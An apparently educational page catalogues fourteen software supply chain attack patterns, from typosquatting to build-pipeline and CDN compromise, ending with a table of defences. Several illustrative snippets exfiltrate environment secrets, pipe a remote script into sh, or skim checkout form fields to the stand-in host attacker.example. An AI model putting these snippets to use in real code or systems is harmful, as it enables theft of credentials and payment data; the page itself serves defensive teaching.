Back

Software Supply Chain Failures - Attack Vectors

The Core Attack Flow

Every supply chain attack follows the same underlying logic: compromise something upstream that the victim already trusts, so the malicious code is delivered through a channel the victim will not question. The attacker does not need to breach your perimeter—they let your own build and update mechanisms carry the payload in for them.

1. FIND a trusted upstream       (a dependency, maintainer, build step,
                                  registry, base image, or third-party script)
2. COMPROMISE it                 (typosquat, hijack an account, poison a runner,
                                  inject a build step, take over a CDN)
3. PUBLISH the malicious version (validly named, often validly signed)
4. WAIT for pull / auto-update   (npm install, pip install, docker pull,
                                  CI build, browser page load)
5. EXECUTE downstream            (install hook, build step, runtime script)
6. ACT ON OBJECTIVE              (steal secrets/cards, backdoor, persist,
                                  move laterally)

The patterns below are concrete instances of that flow, grouped roughly from the dependency tier, through the build/distribution tier, to the runtime tier.

Attack Patterns

1. Exploiting Known-Vulnerable / Outdated Dependencies

The classic A06:2021 case: the attacker does not tamper with anything—they simply scan for applications still running a component with a published vulnerability and exploit it. Version banners, error pages, and public SBOMs make target selection easy.

# Attacker fingerprints a known-vulnerable version, then fires a public exploit
$ curl -s https://target.example/ | grep -i 'x-powered-by\|version'
X-Powered-By: OldFramework/1.2.3        # <-- matches a public CVE
$ ./exploit-cve-XXXX.py --target https://target.example/

Why it works: patch cadence lags disclosure; transitive dependencies are invisible without an inventory.

2. Typosquatting

The attacker publishes a malicious package whose name closely resembles a popular one, betting on developer typos or copy-paste errors.

# Legitimate                Malicious look-alikes published to the registry
requests                    reqeusts   /  request   /  requestss
python-dateutil             python-dateutils
crossenv (intended: cross-env)          # transposed / hyphen tricks
# A single typo installs the attacker's package, which runs on install
$ pip install requsets
# setup.py of the malicious package executes arbitrary code during install

Why it works: registries permit near-identical names; install steps run code by design.

3. Dependency Confusion (Namespace Shadowing)

The attacker publishes a package to the public registry using the same name as one of your internal packages, with a higher version number. If your tooling consults the public registry alongside your private one, "highest version wins" resolution pulls the attacker's copy into internal builds.

# Internal package (private registry only):  @acme/auth-client @ 2.4.1
# Attacker publishes to the PUBLIC registry:  @acme/auth-client @ 99.0.0
#
# A build configured to fall back to the public registry resolves 99.0.0
# --> attacker code runs inside CI with access to internal secrets

Why it works: default resolution prefers the highest version regardless of source; internal names are guessable or leak in error messages and lockfiles.

4. Malicious Install / Lifecycle Hooks

Package managers run scripts at install time. A malicious package uses these hooks to execute the moment it is installed—on a developer laptop or a CI runner—before any of its code is ever imported.

// package.json of a malicious dependency
{
  "name": "innocent-looking-lib",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node ./steal.js"   // runs automatically on `npm install`
  }
}
// steal.js -- exfiltrates environment variables (tokens, cloud keys)
const os = require('os');
const https = require('https');
const loot = JSON.stringify({ env: process.env, host: os.hostname() });
https.request('https://attacker.example/collect',
  { method: 'POST' }).end(loot);

Why it works: install hooks are enabled by default and run with the developer's or CI's privileges.

5. Compromised Maintainer Account / Hijacked Package

Instead of creating a new malicious package, the attacker seizes an existing trusted one—via credential stuffing, a phished one-time code, or a maintainer's expired email domain that they re-register—then ships a malicious release under a name millions already depend on.

Timeline of a hijack:
  t0  Attacker phishes / reuses leaked creds for a maintainer account
  t1  (Optional) resets 2FA via a re-registered expired email domain
  t2  Publishes v1.9.11 with an added obfuscated dependency
  t3  Auto-updating consumers (^1.9.0) pull the malicious version within hours
  t4  Payload steals credentials / installs a miner across thousands of hosts

Why it works: caret/tilde ranges auto-adopt new releases; publisher 2FA is not universally enforced.

6. Transitive Dependency Poisoning

The attacker targets an obscure, deep dependency that popular packages rely on. Consumers who carefully vetted their direct dependencies never examined the compromised leaf.

your-app          (audited)
└── popular-lib   (audited, trusted)
    └── helper    (not audited)
        └── left-pad-ish-leaf   <-- attacker hijacks THIS
            # malicious code now runs in every app that uses popular-lib

Why it works: depth hides the payload; one leaf fans out to enormous downstream reach.

7. Build System / CI/CD Pipeline Compromise

Rather than the code, the attacker compromises the factory. A malicious or altered build step injects the payload during compilation—after code review, before signing—so the output is malicious yet validly signed. This is the SolarWinds class.

# A malicious step slipped into the pipeline (or into a compromised runner)
build:
  script:
    - make build
    - curl -s https://attacker.example/implant.sh | sh   # injects backdoor
    - sign-and-publish   # backdoored artifact is signed as authentic

Why it works: the build environment is often less monitored than production, yet it produces the trusted artifact.

8. Leaked Pipeline Secrets / Poisoned Runners

CI runners hold cloud keys, registry tokens, and signing material in environment variables. Any code that runs in the pipeline—a dependency's install hook, a third-party action, a compromised uploader—can read and exfiltrate them. Self-hosted runners reused across jobs can be poisoned to persist between builds.

# Anything running in CI can read the secrets the job was granted
- run: |
    echo "$AWS_SECRET_ACCESS_KEY $NPM_TOKEN $SIGNING_KEY" \
      | curl -s -X POST --data-binary @- https://attacker.example/x
# Secrets printed to logs are also harvested from public build output

Why it works: broad, long-lived secrets are handed to every step; logs are often world-readable.

9. Unsigned / Unverified Artifacts and Missing Provenance

If an artifact is distributed without a signature or provenance attestation, an attacker who can intercept or write to the distribution path can simply swap it for a malicious one. Consumers have no cryptographic way to notice.

# No integrity check -> a man-in-the-middle or compromised mirror swaps the file
$ curl -O http://downloads.example/tool.tar.gz     # plain HTTP, no checksum
$ tar xzf tool.tar.gz && ./install.sh              # runs whatever arrived

Why it works: without signatures/provenance, "it downloaded fine" is the only check performed.

10. Poisoned Container Base Images

Images built FROM a mutable tag inherit whatever that tag points to today. An attacker who compromises a base image—or a look-alike published under a confusing name—lands code in every downstream image, running as whatever user the container uses.

# Mutable tag: the contents can change between builds without warning
FROM node:latest          # today != tomorrow; no digest pinning
# A compromised or malicious base layer executes in every child image

Why it works: latest and floating tags are mutable; base layers run with the image's privileges.

11. Compromised Third-Party Scripts / CDNs (Web-Skimming)

On the web tier, pages load scripts directly from third-party origins (analytics, tag managers, payment and chat widgets). If that origin is compromised, the injected code runs inside your page with full access to the DOM—this is the Magecart pattern that harvests payment cards at checkout.

<!-- No integrity check: whatever this URL returns today executes in your page -->
<script src="https://cdn.thirdparty.example/widget.js"></script>

// If the CDN is compromised, injected skimmer code reads the checkout form:
document.querySelectorAll('input').forEach(i =>
  navigator.sendBeacon('https://attacker.example/s', i.name + '=' + i.value));

Why it works: cross-origin scripts run with the page's privileges; without SRI, silent content changes are undetectable.

12. Insecure Package Registries and Name Reuse

Registries that allow unauthenticated publishing, name reuse after a package is deleted, or weak account recovery let attackers claim trusted names. A deleted package name that a lockfile still references can be re-registered by an attacker and served to old builds.

# A dependency is unpublished/deleted; its NAME becomes claimable again.
# Attacker re-registers the same name and version -> old builds fetch malware.
resolved "https://registry.example/left-utils/-/left-utils-1.0.0.tgz"
#          ^ name freed and re-registered by attacker

Why it works: name ownership is not always permanent; recovery flows can be abused.

13. Malicious Insider / Protestware

A maintainer—original or newly handed the keys—deliberately introduces sabotage or a narrowly targeted payload, sometimes triggered only for specific downstream victims or geographies (the event-stream class). Obfuscation keeps it out of casual review.

# Obfuscated payload that only activates for a specific downstream target
if (process.env.npm_package_name === 'specific-victim-app') {
  require('./decode')(PAYLOAD);   // targeted, so most users never trigger it
}

Why it works: trust is transitive to whoever currently holds maintainer rights; targeting evades broad detection.

14. Long-Game Social-Engineering Backdoor

The most patient variant (the xz-utils class): an attacker contributes helpfully to a low-profile but critical project for months, earns maintainer trust, then plants a backdoor hidden in release artifacts and build scripts rather than the readable source—so the git repository looks clean while shipped tarballs are backdoored.

# The backdoor lives in the packaged tarball / build machinery, not the repo:
#   git source     -> looks clean under review
#   release tarball -> contains extra obfuscated build step that injects code
# Reproducible builds would reveal the mismatch between source and artifact.

Why it works: reviewers trust long-term maintainers and read source, not release artifacts.

The Attacker's Perspective

Supply chain attacks are attractive because they invert the economics of intrusion. Instead of breaching thousands of hardened targets one by one, the attacker breaches one soft upstream and inherits all of its downstream trust for free.

Attacker goalPreferred vectorWhat defeats it
Broadest reach, least effortHijack a popular package / poison a base imagePinning to hashes/digests, publisher 2FA, provenance
Enter internal buildsDependency confusionPrivate-registry precedence, scoped names, allowlists
Steal build/cloud secretsMalicious install hook / CI stepLeast-privilege ephemeral creds, hardened runners
Sign malware as authenticBuild-system compromiseSLSA provenance, reproducible builds, isolated runners
Harvest live user dataCompromised third-party scriptSRI + strict CSP, minimize third-party scripts
Evade reviewBackdoor in release artifact, not sourceReproducible builds, artifact scanning, signed provenance

Next Steps